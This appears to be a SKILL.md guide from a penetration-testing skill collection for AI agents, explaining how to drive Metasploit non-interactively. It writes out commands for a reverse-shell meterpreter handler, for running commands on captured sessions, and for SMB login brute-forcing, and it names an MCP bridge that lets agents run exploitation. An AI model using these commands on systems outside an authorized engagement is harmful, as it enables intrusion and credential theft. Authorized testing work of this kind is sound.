tools-metasploit
Drive Metasploit (msfconsole/msfrpcd) for the exploitation phase without hanging the toolchain — one-shot -x invocations, RPC daemon mode for persistent sessions, batch auxiliary runs. Load when a con
SKILL.mdskills/tools/tools-metasploit/SKILL.md
GitHubMetasploit without the hang
When it applies
You have a confirmed in-scope weakness (tradecraft-scope-roe first) that maps to a Metasploit
module, or you need a exploit/multi/handler listener for a reverse shell (payloads-reverse-shells).
Metasploit is the right tool when a reliable public module exists; for novel bugs write a PoC
instead (exploit-poc-development). Driving MSF from scripts or an agent is where most people get
burned — this skill is the correct invocation discipline.
Why it works
msfconsole is an interactive REPL: launched bare it waits for stdin forever, and each new console
is a separate process that cannot see another console's sessions. Non-interactive use therefore
means either (a) cramming the whole job into one -x string that ends in exit, or (b) keeping
state in a long-lived msfrpcd daemon that short-lived clients connect to.
Method
- Pattern A — one-shot call (covers ~80% of cases). Everything in a single
-x, always ending with;exit:msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST <callback_ip>; set LPORT <port>; exploit; sleep 20; sessions -l; exit"-qsuppresses the banner/verbosity;sleep 20gives the reverse shell time to call back;sessions -lruns in the same process so you actually see the session. Run with a generous timeout (120s+) and wait for real completion. - Pattern B — RPC daemon (multi-step work with persistent sessions). Check the port first,
start the daemon in the background, then connect short-lived clients:
Sessions live in the daemon, so later clients see them.netstat -tulnp | grep 55553 # MUST verify the port is free first msfrpcd -P pass -U user -a 127.0.0.1 -p 55553 & # background; long-lived msfconsole -q -x "connect 127.0.0.1:55553 user pass; use exploit/...; exploit; exit" msfconsole -q -x "connect 127.0.0.1:55553 user pass; sessions -l; sessions -i 1 -c 'whoami'; exit"pkill -f msfrpcdwhen done. - Pattern C — batch auxiliary/scanner runs (no session needed).
Usemsfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS <target>; set USER_FILE users.txt; set PASS_FILE passes.txt; run; exit"runfor auxiliary modules (notexploit); all output arrives on stdout at exit. - Listener discipline for callbacks. LPORT must be inside the range the engagement/platform
allocated to you; find your public IP with
curl -s https://api.ipify.orgif unknown, and verify reachability from outside withnc -zv <callback_ip> <port>before blaming the payload. - Minimize output for logs/LLM context:
-q,set ConsoleLogging false,set LogLevel 0, prefersessions -lover-v, and post-filter:... | grep -E "session|opened|fail". - MCP option: Kali ships
metasploitmcp(apt install metasploitmcp,metasploitmcp --transport stdio) exposing module/payload/session operations as MCP tools — seetools-mcp-bridges. The same invocation rules apply underneath.
Gotchas
- Bare
msfconsolehangs forever waiting for input — never invoke without-x "...". - Missing
;exitat the end of-x= orphaned ruby process that never returns. - Splitting work across consoles — a new console can't see a previous console's sessions; merge
into one
-xor switch to Pattern B. - Redundant handler —
exploitalready starts a handler for the payload; adding a separateexploit/multi/handlerin the same run just double-binds the port. - Bind failures are silent-ish — if LPORT is taken the exploit errors but the console has
already exited;
netstat -tulnp | grep :<port>before every listener. - Diagnostics when anything misbehaves:
ps aux | grep -E "msfconsole|msfrpcd|ruby"for orphans,netstat -tulnp | grep -E ":4444|:55553"for stray listeners, thenpkill -f msfconsole/pkill -f msfrpcdto clean up. MSF is all ruby — orphaned processes accumulate fast. - Meterpreter is the loudest C2 — heavily signatured; fine for labs, expect detections against
defended targets (see
defense-*for what blue teams look for).
Verify success
sessions -l (in the same process, or against the same msfrpcd) shows an open session, and
sessions -i <id> -c 'id' returns the target context you expected. No orphaned ruby processes or
bound listeners remain after cleanup.
References
Metasploit Framework docs; Rapid7 module DB; Metasploit Unleashed (free course);
GH05TCREW/MetasploitMCP. Handler payloads: payloads-reverse-shells.
Portions adapted from reverse-skill by zhaoxuya520, MIT License.